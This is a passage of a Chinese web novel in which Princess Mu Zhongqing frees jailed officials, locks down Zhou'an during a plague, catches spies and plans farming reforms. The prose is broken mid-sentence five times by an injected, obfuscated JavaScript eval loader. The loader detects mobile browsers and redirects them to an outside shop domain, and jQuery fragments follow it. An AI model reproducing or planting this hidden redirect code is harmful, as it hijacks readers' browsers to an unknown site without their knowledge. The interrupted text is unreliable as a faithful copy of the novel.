血渗了出来,那中年人吃痛,却不像第一次那般求饶,反正咬牙瞪着慕衷情。 慕衷情眯眼:“把他丢进去看看有什么陷阱,然后搜身,看看他身上有没有什么线索。” 侍卫直接一脚将中年人踹进了柴房,他一进门,身体便瞬间断成了三截,抽搐几下便没了声息。 侍卫到门口查看:“秉王妃,此处有三根极细的线,若是直接进门,便会如此人一般被割成三段。” 慕衷情点点头,忍住恶心:“幸好没有直接进门,把线砍了,去搜搜他身上有没有东西,这里实在太奇怪了,一个普通的府衙怎么会有这样的东西?” 侍卫砍了好几下,才将那几根细线砍断,而后进门搜查。 慕衷情不想看到尸体,便一直待在门外。 她发现这里实在太安静了,除了最开始遇到的两拨人外,居然再没看到其他人。 “秉王妃,只在此人身上发现了此物。”侍卫将一块牌子递给慕衷情。 慕衷情拿过来正反面都仔细看了一遍,问道:“你们以前在舟安见过这种牌子吗?” 侍卫们对视一眼,没有说话。 “有什么就说吧,没关系。”慕衷情有种不好的预感,但还是想要知道答案。 刚刚搜身的侍卫只好说道:“秉王妃,属下不曾在舟安这种牌子,但是属下曾跟着王爷去过京城,这块牌子的材质乃是沉月铁所铸,沉月铁打造完成后,对着光查看时,有些星星点点的光,像是月色,沉月铁十分稀少贵重,唯有京中权贵能用。” “权贵……”慕衷情有些头疼地说,“不会又是姜喧和慕据德搞的鬼的吧?” 她刚说完,侍卫们哗啦啦跪了一地:“王妃慎言。” “都起来,不要在意我说了什么,反正也没人听见,不过这里的事情肯定和他们脱不了干系,说不定,这次鼠疫也不简单。”慕衷情早就知道,即使以最恶意的方向去揣测这两人对于秦澈的敌视,和可能做出的行为,都不为过。 “王妃的意思是,此次可能牵连到清州的鼠疫,是人为?那王爷?”侍卫担心地问。 “等找到司岳后,我写一封信给王爷,告诉他这里的事情,相信他不会那么轻易落入别人的圈套。”慕衷情冷静道:“走,先去找找其他地方还有没有人。” 府衙的相关设施遵循每个州的习惯和规矩,侍卫们都是清州本地人,虽没怎么来过府衙,但大致可以判断反向和房屋用途。 走了一段路后,慕衷情发现还是那么安静,一个人影都没见着,便问道:“你们知道牢房在哪儿吗?如果我们之前推测的没错,那他们很可能被刚刚那群人关在了牢房。” 侍卫说道:“日出东南,牢房大多都会建在西北方向,阴暗潮湿,以作惩处。” 侍卫带着慕衷情往西北方向走去,不久便找到了牢房的入口,门口竟也没有守卫。 进入牢房后,一股潮湿闷臭的气味传来,走进去没多久,他们便看到地上躺着两个牢房守卫,侍卫立刻上前查看,确认他们已死。 牢房之内也是安静得可怕,他们一路往里走,里头的人居然要么死了,要么缩在角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245898|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落里一句话不说,就像是这里曾经发生过什么可怕的事情。 慕衷情加快脚步,终于在最里面的牢房中发现了人事不省的司岳。 她心中一惊,害怕自己来晚,侍卫们也都与司岳相识,不等慕衷情下令,便立刻用刀劈开锁链,一个侍卫刚想将司岳扶起来,又停下动作看向慕衷情。 慕衷情这才想起来,虽然司岳一直着男装,但她能看出来的,许多人应该也能看出来,只是大家心照不宣地不说明白罢了。 于是她上前,将司岳抱在怀中,轻轻拍打她的脸:“司岳?司岳你醒醒。” 过了好一会儿,司岳才缓缓睁开眼睛,她有些茫然地看向慕衷情:“王妃?你怎么……” 司岳坐起来,环顾四周,眼中的茫然褪去,冷静地问道:“发生什么事了?为何我们会在牢房之中?” “你不记得自己是怎么被昏迷,怎么被关到这里的吗?”慕衷情蹙眉问道,“你现在状况如何?能不能边走边说,你应该对府衙的府主还有其他人都比较熟悉吧?” 司岳站起身说道:“王妃放心,我并无不适,昨晚我将这几日所需之事安排下去,因为涉及的东西太多,便连夜来到府衙,想要和府主商讨放粮事宜,我来时夜已深,下人说让我稍等一会儿,府主已经睡下,我便等了一会儿,期间只喝了一杯茶水。” “看来就是茶水的问题。”慕衷情拉着司岳走出牢房,走到隔壁,指着躺在地上的人问道,“这些人你可认识?” 司岳上前仔细查看,忽然指着其中一人道:“左边那个被压在下面的,就是府主。” 慕衷情看向身旁的侍卫,侍卫们又是几刀劈开锁链,其中一人将府主从人堆里捞出来,其他人去唤醒其他的仆役和当差人。 府主须发花白,有些岁数,醒得也比其他人慢,但他的警惕性很高。 慕衷情见到所有人醒来,问道:“昨晚到底发生了什么?为何你们都会被丢在这里?弄晕你们的人是谁?为何只是将你们关起来,却不直接杀了你们?” 府主并未见过慕衷情,但见司岳和侍卫对其恭敬的态度,也猜到了她的身份,他站起来行礼道:“秉王妃,昨日日落之后,府衙内便突然闯进一伙人,他们功夫高强,我们都不是敌手,昏迷之后的事情也并不知晓,只是,我看到其中一人在搏斗之中掉下一块令牌,乃沉月铁所铸。” “这个我们知道,刚刚来时我们就遇到过,只是我们遇到的那些人,功夫并不高强,难道这不是一拨人?他们到底来到清州,将你们控制起来,到底是想做什么?”慕衷情思索道。 府主打量着慕衷情:“王妃可知,沉月铁唯有京中权贵可用?” “慕大人向来与王爷不对付,恕老臣直言,不知王妃今日是如何知晓府衙内发生了变故,又是如何找到我们的?那些被派到清州境内作乱之人,王妃又是否有所了解?” 48. 四十八、 慕衷情听明白了,这位府主大人是怀疑她也参与其中。 她在心里把便宜老爹骂了好几遍,而后拿出秦澈给她的令牌:“府主大人,若我解释你可能也不信,你看看,这是王爷给我的令牌,若他不是十分信任我,不会给我这块令牌,你大可好好验验真伪,只是时间紧急,如今敌在暗我们在明,不知道拖延太久,还会出什么乱子。” 慕衷情将令牌递给府主,府主半信半疑地拿着令牌仔细查看,最后将令牌归还给慕衷情,他看向司岳,司岳朝他点点头,随即他便跪地行了大礼。 一切尽在不言中。 慕衷情见他年岁已长,连忙将人扶起来:“府主不必多礼,如今情势不明,你我还当齐心协力,守住舟安府才是。” “王妃深明大义,倒是老臣浅薄了。”府主说道,“那些贼人将我们关在牢房中,却不杀我们,或许是怕挑起清州与那位的事端,他们虽然一向针对王爷,却也不敢真的对王爷在明面上做什么,若是老臣猜得不错,清州最近,恐怕要出大事,在舟安府衙发生之事,未必不会在其他地方发生,只是不知司岳昨日来寻老夫所为何事,或许与之有关。” 府主不愧是府主,虽然还没有得到司岳的消息,但也猜了个七七八八。 慕衷情目光一凝“或许他们要的,就是让鼠疫毁了清州,如此便可让王爷声望大减,若是鼠疫肆虐,清州也会沦为人间地狱,届时王爷手下的士兵也难逃一劫,甚至他就可以不费一兵一卒,让王爷也死于疫病。” “鼠疫?难道昨日司岳来找老夫,是因为清州发生了鼠疫?”府主惊诧。 慕衷情点头:“嗯,既然发现了此事,我们必须小心,司岳,想办法传令下去,清州全境戒严,派人加急将情况报告给王爷,若此事并非简单的疫病,而是人为推动的,那光靠之前制定的对策怕是不够,府主大人,舟安府境内除了闭门戒严外,必须将所有人,尤其是三日之内入境之人钦点清楚。” 府主立刻道:“老臣明白,现下老臣便去安排,城门戒严之事则要交托司岳了。” “放心,我会抽调人手守住舟安所有出入口。”司岳一向在军中做事,此事由她来做,比府主更适方便。 慕衷情来回踱步,似乎还有顾虑:“等等,还有一事,今日我们遇到的这些家伙,虽说敌不过王府中的侍卫,却不见得功夫有多差,这段时间府衙的工作,要多与司岳沟通,尽量是熟悉舟安府衙事务之人,在外出时至少配备两名士兵作伴,以保证安全,也能多几双眼睛,或许就能发现一些容易被忽略的事情。” “好,没问题,王妃放心,我会与府主通力协作,绝不让舟安发生动乱。”司岳拱手保证道。 慕衷情与司岳、府主分别对视一眼,便立刻朝牢房外走去,事不宜迟,他们必须赶快将所有事情安排妥当。 府衙的大门被重新打开,一张张被更改过的告示盖上昨晚司岳写的内容,城门关闭,守卫增加。 衙门真正的衙役与舟安驻扎的士兵们协力合作,奔走在舟安街头各处,登记每家每户每一个人的身份来处,并进行核实,同时告知所有人回到家中,十五日不得出门,从第二日起,每三日每户人家可以有一人外出领粮,无家可归者由府衙统一安置,发现可疑人员需及时禀报,包庇来路不明者一经发现同罪论处。 同时,司岳派人加急送信给秦澈,慕衷情不放心,又派出一队人,以不同的线路前往清州边境,寻找秦澈。 翌日,慕衷情特意盛装打扮,强调身份,却又在街头与其他人一同放粮,以做表率,以安民心。 舟安人口众多,放粮点也不止一个,但即便如此,他们也整整站了一天,直到天黑才结束。 慕衷情累得感觉全身各处都要断了,回到王府后饭也没吃就躺下休息,沉沉睡了一夜,才恢复些精神。 不过她一醒来,便得到了一个好消息,那日在府衙见到的一群人已经陆续被抓到,正关押在牢房之中,府主将审讯结果抄录一份送来,慕衷情边吃早饭边看了一遍。 这些人的嘴很紧,有好几个在牢中自尽,只剩两三个比较怕死的,审讯了许久,原来他们在进入清州前,不止这么些人,入境后便分头行动,互相并不知道彼此的任务,以及身份,他们接到的任务,就是让舟安府衙至少消失五天。 当然,这个任务并没有完成, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266864|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才刚过一夜,就被慕衷情发现了端倪。 再多的信息也没办法从这些小喽啰嘴里问出来,慕衷情只能往最坏的方向考虑,那就是这次的鼠疫,就是人为,至于是谁,指向也非常清晰。 他们不知道到底分了多少队伍进入清州,慕衷情吃完饭,来不及梳妆,便又换了身男装,戴上面纱出门去找府主。 她要想办法以最快的速度通告清州全境,让军队接管每个县府衙门,不仅要防疫病,还要捉奸细。 慕衷情现在最怕的,就是那些人会带着有疫病的病人在清州到处乱跑。 “点燃清州四境烽火,全境进入战时状态,司岳,可以做到吗?”慕衷情与他们讲了自己的想法后,问道。 司岳为难道:“可以是可以,只是这会不会……” “别担心,这是我的要求,自然由我来承担责任,我只是实在不敢冒险,司岳,一旦鼠疫没有控制好,清州和王爷,就都完了。”慕衷情坚定地望着司岳。 “好,我这就去办。”司岳轻叹一声,但她决定去做,便不会含糊。 司岳离开后,慕衷情看向府主道:“这几日我想住在府衙,麻烦府主安排个房间给我就好。” 府主应下,却没有吩咐下人,而是看着慕衷情问道:“王妃行事果断,老臣佩服,只是,王妃应当猜得到,此事背后最有可能搞鬼的人是谁,您真的,已经做好选择了吗?” 慕衷情没想到府主还在思虑这件事,只能答道:“我对母亲尚有几分情分,但若是要问我是帮王爷,还是慕据德和姜喧,我只会选王爷。” 府主定定地瞧着慕衷情,似乎是在分辨此话真伪。 “王妃稍等,我这就派人收拾一间客房出来。”府主没有再问什么。 慕衷情望着府主离开的背影,眉间也染上了几分忧心。 倒不是因为被怀疑,只是她又想起了原主的结局,她不希望自己的生死,最终还是成为一根导火索,只为了完成让秦澈起义的任务。 不行,如今清州能混进细作来,往后也能,她决不能只等着对方出手,再见招拆招。 慕衷情想,清州,不能只是秦澈的清州。 49. 四十九、 慕衷情从来不认为自己是一个多厉害的人。 她只是会尽全力,去做好自己该做的每一件事。 来到清州后,她也一直在自己熟悉的领域里打转,尽量不做外行指导内行的事情。 直到,第一场骚乱在舟安发生。 这一日,慕衷情恰好收到了秦澈的来信,落款的日期是慕衷情派人给秦澈送信的翌日,按照古代的速度,秦澈应当还没有收到她的去信。 但他们讲的,却是同一件事情。 慕衷情心下稍安,既然秦澈也发现了异样,应当会有他自己的处理办法。 就在慕衷情松了一口气的同时,府主匆匆忙忙地跑到她的房门外,纵使她没有关门,府主也只在门口行礼,而后略带焦急地说道:“王妃,出事了,城西安置乞丐的寺庙发生暴乱,已有数人伤亡,司岳已带人先行前去查看情况,我怀疑,我们之前抓的人并不是混进舟安的全部人手,尚有漏网之鱼。” “你认为这次的暴乱也是他们挑起的?”慕衷情立刻就明白了他的意思,连忙起身道,“我还是过去看看情况吧,府主你便留在这里坐镇,以防是什么调虎离山之计。” “不可,老臣前去查看便可,王妃千金之躯,才应当在府中坐镇。”府主说道。 慕衷情犹豫一瞬,她清楚,府主是为了她的安危考虑,毕竟她身份更尊贵,断然不可随意冒险。 可慕衷情,只当自己是慕衷情。 “不,您在舟安多年,处事经验丰富,我希望,蔡大人可以是我们的后盾。”慕衷情第一次称呼了府主的姓氏。 蔡府主大名蔡书霖,是秦澈封王后一手提拔的亲信,秦澈不喜官场往来,蔡书霖帮他迎来送往,平衡各方势力。 慕衷情不能让他出事。 否则舟安即使撑过了如今的困境,往后也会陷入更混乱的局面。 这样一个府主的位置,不是什么人都能胜任的。 “王妃,一切小心。”蔡书霖见慕衷情神情坚决,只能应下。 他对慕衷情的怀疑仍未完全消除,但此时此刻,总要分清孰轻孰重。 而且,这些日子慕衷情住在府衙中,蔡书霖是亲眼看着她事事亲力亲为,不辞辛苦,偶尔望着慕衷情朴素的模样,他都快忘记慕衷情出身于京城慕府,是一位世家大族的小姐。 慕衷情带了几个功夫好的侍卫前往城西安置点。 城西安置点是一处无主荒废大半年的宅子,但收拾一下还是能看出曾经的繁华。 慕衷情迈入大门时,便听到一阵嘈杂声,她穿过两道门,总算是看到了围在一起的人群。 只见司岳站在人群中央,脚底踩着一个矮胖的男人,她神色凛冽地盯着周围的人,似乎是在寻找还有哪个心怀鬼胎的家伙。 她带来的人都拔出了刀,围在她的四周,最外面一圈大多都是乞丐流民。 大部分人都衣衫褴褛,只有少数几个穿着正常。 慕衷情一时无法分辨敌我,好在司岳立刻就发现了她:“王妃,您怎么也来了?” 她一出声,所有人的注意力都集中到了慕衷情的身上。 “我来看看情况,你可有发现什么?这就是作乱的头子吗?”慕衷情一边观察四周人的神情和动作,一边走向司岳。 司岳答道:“我们来时,便是他在大肆传播谣言,说官府将他们安置于此,是为了囚禁他们这些无家可归之人当苦力,既无家可归便不会有人发现他们死在谁的手上。” 慕衷情闻言微微挑眉,这造谣的套路还真是熟悉,果然不管到哪儿,这种套路百试不厌。 “是吗?别人死不死我不知道,但是你大概是活不成了。”慕衷情低头俯视着地上还试图挣扎的男人,而后抬眼扫视四周,“我不知道你们之中还有多少人是他的同伙,不过没关系,因为就算你们能够一直躲藏下去,你们所图谋之事也不会有任何的结果。” 慕衷情朝司岳使了个眼色,司岳便不再踩着那男人,只是握紧了手中剑。 果不其然,那男人一能起身,就立刻从腰间抽出匕首刺向慕衷情。 慕衷情淡定地往后退了一步,匕首停在她的身前,离她的脖子仅有几公分的距离,不过,那锋刃永远也划不到她的身上。 男人被当胸一剑贯穿,司岳拔出剑,男人便倒在地上没了声息。 “人不必埋,就放在这儿吧,今日处理了他,暂且就先放过你们,第一次耳根子软,权且当你们不懂事,若再有下次,司岳,派人将这里的所有人送出清州,至于那时,丰州的鼠疫发展到了何种地步,就看你们的运气了,当然,若你们能找出此人同伙,举报者有奖,往后再发生此类事件,也不会被驱逐出清州,孰轻孰重,都好好想想吧。” 说完,慕衷情留给他们一个高冷的背影,径自离开了宅子。 她在马车上等了一会儿后,司岳也上了马车:“你陪我一起去折柳巷一趟。” 司岳问道:“王妃是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281151|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心那里也会出事?” “嗯,虽说此处收留的都是男子,更容易出乱子,但也难保收留女子的折柳巷里混进了什么人。”慕衷情面露担忧,“她们刚从苦海中脱离出来,许多人年岁尚小,或许未必有害人之心,可万一被人利用了,也容易出乱子,过去看一看,放心一些。” “好,我与王妃一同前去。”司岳道,“好在我们只要熬过这十五日,等王爷归来就好,王妃不必太过忧心。” 慕衷情沉默了一会儿,终是忍不住道:“司岳,万事不可只仰赖王爷,我们自己有解决的能力,就不要想着等王爷回来就好,应该要想着,在我们的手下,舟安照样安宁,才算成功。” “王妃息怒,是司岳失言了。”司岳立刻道。 “我不是怪罪你,也没有生气,唉。”慕衷情叹气,“这样说吧,王爷也不是什么万能的人,说白了,他也是一个普通人,只是比许多人学得更多,经历得更多,他聪慧果决,战场上可定军心,可若是一支队伍,没有了他便溃不成军,这支队伍就还不够强大。” 司岳不解:“可主帅本就有稳定军心的作用,若是三军无帅,自然溃不成军啊,难不成这世上还有不需要主帅就能打胜仗的军队?” “也不是这个意思,我举个例子,若有一支队伍与大部队分散,又在回来的途中遭遇敌军,他们可以如何应对?”慕衷情问道。 “要看敌我实力如何,若对方人数多于我们,自然要避其锋芒,反之则可尝试主动进攻。”司岳流畅地答道。 “对,那此时此刻,不就应该自己去做判断,去观察去制定对策吗?一切有序时,我们自然可以听从主帅,但主帅不在时,每个人都能有自己的主观能动性,额,不是,就是每个人都要有自己去判断去做事的能力,明白我的意思吗?不止是战场上如此,此时也一样。”慕衷情解释道。 司岳恍然大悟:“我明白了,王妃放心,我等自然会竭尽全力,助王妃守住舟安这十几日的安宁。” 慕衷情没有再说话,只是有些忧心地望着窗外。 很快,她们便来到了折柳巷口。 一下马车,慕衷情便听到熟悉的嘈杂声,只见本该无人的巷中聚集了这一群女子,不少人手上还拿着扫帚拖把等各种生活武器。 见到慕衷情和司岳到来,一个娇小的身影从人群中挤出来,正是锦书。 她兴奋地朝慕衷情挥手:“王妃,您来得正好,我们刚抓住了一个细作!” 50. 五十、 慕衷情走过去,看到她们围住的是一个披头散发的女子,手已经被绑了起来,看样子是经过了一场混战才把人抓住。 也是难为这些从未学过功夫的女子了。 慕衷情这么想着,脸上却露出了笑意:“你们是怎么发现她是细作的?” 一位气质温柔的女子上前一步,慕衷情认出她就是清荷。 “回王妃,此人谎称是海州来的灾民,可我试探几番,发现她根本不会说海州话,便心生疑窦,后见她常悄悄与人单独攀谈,便去问了几个相熟的女子谈话内容,发现竟都是些危言耸听的污蔑之语,于是我告知锦书,我们合力将此贼擒获。”清荷缓缓解释道。 慕衷情闻言,又高兴又欣慰地上前一把抱住了清荷:“你们真的太棒了!有勇有谋!” 在风月场待了多年的清荷见惯了各种逢迎往来,却忽然因为这么一个没有任何暧昧意味的拥抱羞红了脸。 她低下头,心中细数过往年岁,这好像是第一次有人这样热切又没有带着一丝欲望地抱着她,夸赞着与色相皮囊无关的她。 慕衷情走到那细作身前,蹲下身问道:“说吧,你是受谁指使而来,目的为何?若你坦白呢,说不定我心情好,还能饶你一命,否则,让人生不如死的手段,我这儿可多得是。” 时间久了,慕衷情发现自己这威胁人的话术都说得越来越顺口了。 不过这回运气不好,抓住的是个死士,慕衷情刚说完,那人就咬破嘴里的毒药自尽了。 慕衷情:“……”大意了,看了这么多电视剧竟然忘了还有嘴里□□这招自尽的方法。 不过没关系,反正所有锅都扣在姜喧头上准没错,她就是这么记仇。 “这家伙畏罪自尽了,不过你们这次干得漂亮,往后几日也不要掉以轻心。”慕衷情起身,拍拍裙摆,“等我空一些,给你们带点奖赏来,抓住一个,每个姐妹都有奖赏!” 锦书带头欢呼,双手还拿着“武器”,但依旧抬得高高的,用力拍手。 不一会儿,所有姑娘们都这样抬起了双手欢呼。 不知道为什么,慕衷情忽然有一种想落泪的冲动,明明她们只是抬起了双手鼓掌。 慕衷情却觉得,这是她来到这个世界以后,最浪漫的一幕。 不过她理智尚存,还是发现了一个问题:“对了,你们怎么出门的?没有人拦你们吗?” 刚刚的欢呼声戛然而止,大家尴尬地放下手,面面相觑,最后还是一直守在附近的吴雪主动上前,低头行礼说道:“秉王妃,锦书之前与属下说了对此人的怀疑,我便没有阻止太多。” 慕衷情垂下眼:“好,特事特办,这回便算了,下次要注意,她们要捉贼人是好心,可若是被贼人所伤呢?往后你们双方还要多交流,协力合作,不要放过贼人,也不要有任何人有危险,才是最好的。” 吴雪似乎有些为难,不知是在担心什么:“这……” 此时清荷却温温柔柔地说:“吴大人放心,我们也不是莽撞之辈,此次也是有把握才没叫吴大人帮忙,往后我们有商有量,谋定后动,必然不会拖您的后腿,您若是有什么需要我们帮忙的,也尽管说。” 慕衷情面上淡定,其实心里已经在疯狂为清荷打call。 离开折柳巷时,司岳还悄悄凑上来问:“王妃,那您打算奖赏折柳巷的姑娘们什么?金银首饰,还是胭脂水粉?” 慕衷情没有立刻回答,仔细思索过后才在回程的路上答道:“我想了想,金银首饰,胭脂水粉她们自然喜欢,要送,但这只是一部分,我还想送点我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292332|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的私心。” “何谓私心?这本就是王妃所赐奖赏,何来私心?”司岳疑惑。 慕衷情放松地用手托腮,眼神明亮:“买几箱书,放到学堂,再买些笔墨纸砚,供她们平日里练字画画,这些书呀,要分门别类,要是能教人手艺的,而不是教女子守规矩的。” 司岳轻笑一声,不知道该怎么形容:“王妃还真是,一如既往。” 梦想很美好,现实很骨感,这些日子要做的事情太多,买书的事情还是耽搁了下来,而且城中家家闭门,商户也都歇业,书局不开门也无处可买书。 这些年也不知道清州到底被安插进了多少人,几乎每日都会出些乱子,好在慕衷情及时让蔡书霖将举报有奖的消息放了出去,发动百姓一起抓“贼”,本来被关在家里,已经让许多人不安,现下有了新的目标,到底又挨过了几日。 十五日说长不长,再怎么难熬,也终究不过半个月。 当舟安各家各户的门终于打开时,夏日已经完全到来。 他们无暇细想这些日子的封闭是因为什么,又带来了什么,他们只是有的一头扎进地里,生怕这几日间自己地里的粮食会出事,有的敲锣打鼓地重新开张做生意,去迎接更让自己安心的生活。 “王爷那边有消息了吗?”舟安恢复正常秩序后的第三天,慕衷情询问收到探子消息的手下。 舟安的一切都在有序地恢复中,去边境视察的秦澈除了最开始那封信外,却一直没有音讯传回。 “秉王妃,五日前王爷在进入一座村庄之后,便失去了消息,至今还未寻到踪迹。” 慕衷情有些不安地闭了闭眼,深呼吸两次后道:“继续找,活要见人,死要见尸,我就不信在清州境内,姜喧能有这么大本事让王爷消失得悄无声息。” 51. 五十一、 “王妃不要太过担心,王爷应当是刻意隐瞒了行踪,想来是有要事,办完了就会回来的。”司岳在一旁劝慰道。 慕衷情没有回应司岳的劝慰,她倒是相信秦澈不会真的出事,但到底有什么事要隐藏行踪,还要瞒着她?是事出紧急,来不及安排,还是事态严重,无法传信? 无论如何,慕衷情都安不下心来。 但她没有过多纠结于此,只能信任秦澈会尽快办完事回来舟安。 于是她对司岳说道:“司岳,这些天辛苦你,多注意着点王爷的消息。” 说罢,慕衷情前去找了蔡书霖。 “蔡大人,我有一事需要您相帮。”慕衷情也不绕弯子,“前些时日虽然忙了些,但舟安府的人口普查是进行了一遍的,我想请您帮我整理出舟安中最厉害的农户、工匠、商人,每个分类至少五人,若是有更细的分类最好,比如工匠中又分木匠、铁匠,以此类推,这些人的居所,年龄,家庭情况,都要写明,您看多久可以给我名单?” 蔡书霖本在处理公文,慕衷情这一大段话不带停地说完,连他都愣了半晌,才答道:“这舟安府人口众多,若是要筛选整理,恐怕需要三日左右,王妃如此着急,可是有什么大事?” 慕衷情道:“无妨,我只是想一一拜访这些人家,有些问题想要请教他们。” 蔡书霖沉思道:“王妃切勿着急,老臣立刻着人去办。” “麻烦您了。”慕衷情说完,又匆匆离开,这三日也不能无所事事地等,她回到王府书房中,开始列规划明细,之前她也想过列明细,结果总是因为一个又一个意外打断,现下倒是有时间继续整理思路了。 社会的变动,牵一发而动全身,她要提高清州的粮食产量,一是要调动农户的积极性,二就是要想办法提高生产力,这里的科技不够发达,只能想办法多造些好用的农具,因地制宜想一些新的种植方法。 清州不是大平原,土质也没有特别好,甚至还要改变一下经济结构。 慕衷情一想到这些,头都大了,但她没有选择等秦澈回来再做这些,因为就目前她所看到的的情况,姜喧那边的动作只会越来越大,她不敢等。 这三日,她几乎睡在书房中,直到蔡书霖将名单送来。 她看了一遍名单,定下了第一个拜访的人。 慕衷情将三日里列出来的规划明细整理好,便去换了身男装,带着司岳出了门。 她选择的第一户人家,是一位老农户,蔡书霖不愧是多年管理舟安府的话事人,非常明白慕衷情的意思,没有选择田庄大户,而是给了五个曾经或现在知名的种粮能手。 他们是真正在地里耕耘的人,也是最了解清州土地的人。 蔡书霖列出来的第一人,叫做谭泽,今年已经六十有二,在古代已经能算作高寿。 谭泽一个人居住,他的老伴已经去世好几年,一双儿女各自成家,虽都时常会来探望,但毕竟都有了自己的生活,无法时时陪伴。 慕衷情走到屋门前,敲门问道:“你好,有人在家吗?” 屋里传来一声中气十足的反问:“谁啊?” 慕衷情没有回答,等着谭泽出来打开门,他上了年纪,眼睛也不如以前好了,眯着眼打量慕衷情与司岳,问道:“你们是谁啊?” 慕衷情笑着拿出衙门的令牌:“老人家,我们是衙门里的人,有些事想来跟您请教请教,可以让我们进去坐一会儿吗?” 谭泽盯着令牌看了一会儿,让她们进了门,只是神情仍然是充满疑惑。 他这整天安生过自己的日子,也没犯什么事儿吧? 虽然是一个人生活,但谭泽明显动手能力不错,妻子去世之后,家中也没有太乱,除了过于简朴了些,倒也算干净。 慕衷情简单观察了一下屋内陈设后,便自如地拎起桌上摆放着的水壶,里头还有茶水,她便拿了三个杯子,用杯子的方位定下三人的座位,流畅地倒好茶水,好像她才是主人家一样:“谭大爷,今天打扰您了,不过我们来找您,不是什么坏事,只是想跟你聊聊,不要紧张,放松就好。” 谭泽突然有一种微妙的奇怪感觉,他小时候上过两年私塾,眼前的年轻人看着年纪不大,怎么这说起话来,有点夫子找学生谈话的意味了。 习惯驼着的背,一下子挺直了,司岳倒是已经习惯了慕衷情的风格,十分自然地坐到一边。 “谭大爷,我听府主大人提起过,您之前种的水稻地,有许多年都是舟安亩产量最高的,咱这边大多都是一百多斤一亩地的产量,但您连续多年稳定超过一百五十多斤,有几年还达到过两百多斤,许多人都来找您学方法,不过他们好像都还是没能做得比您更好。”慕衷情语气温和,先把谭泽的能力好好夸了一遍,果然谭泽的神情一下子就轻松不少,甚至还有些没藏好的得意跑了出来。 不过谭泽作为一个老人家,自然也不能太狂妄,要在小辈面前保持风度,他努力谦虚地说:“夸张了夸张了,这粮食收得多,也不光是靠我一个人,还得看天,有些年天好,要晴便晴,要雨便雨,自然收成也好。” 慕衷情耐心地听着,点头应和道:“您说得对,这种地呀,老天爷的关照也很重要,不过呢,都是同样的天气,差不多的地,您的收成就是比别人的多呀。” 谭泽摆摆手:“其实一些农户来问我是不是有方法的时候,我也告诉过他们一些,可这方法到了别人的地,它就是行不通啊,你要真让我说出个为什么来,我也不明白啊。” “想要创造奇迹,天时地利人和缺一不可,这个我明白,但是我想,总有些事,即便不能胜天一子,我们也可以尝试一番,对吗?谭大爷,您也是务农十几年的人,应当明白农户有多不容易,一年到头在地里辛苦劳作的是他们,收租收税富了却是地主和官府,到头来,忍饥挨饿还是他们,您说,这样的情况您不想改变吗?”慕衷情晓之以理,动之以情,她做过那么多次家乡人的思想工作,还是很有方法和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305820|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经验的。 谭泽沉默地看着慕衷情,良久问道:“可这租子和税钱,还是要给的,农户收成多了,能留下来给自己的,不还是只有那一点吗?” “所以,今日我来找您,是为了提高农户的收成,往后我还要去见工匠,去造更多的农具赠予农户,还要去见商人,稳定市价,再往后我还要去见地主,解决土地不在劳作之人手中的问题,或许到了最后的最后,农户能留在手中的粮食和钱财,真的会多起来呢?”慕衷情平静地提出了一连串设想,听得一旁的司岳都心惊肉跳。 司岳是听说过当初在丰州慕衷情做了什么的,她一想到这件事会在清州发生,就不敢再想下去会发生什么。 谭泽同样震惊:“大人,您可知您在说什么?” 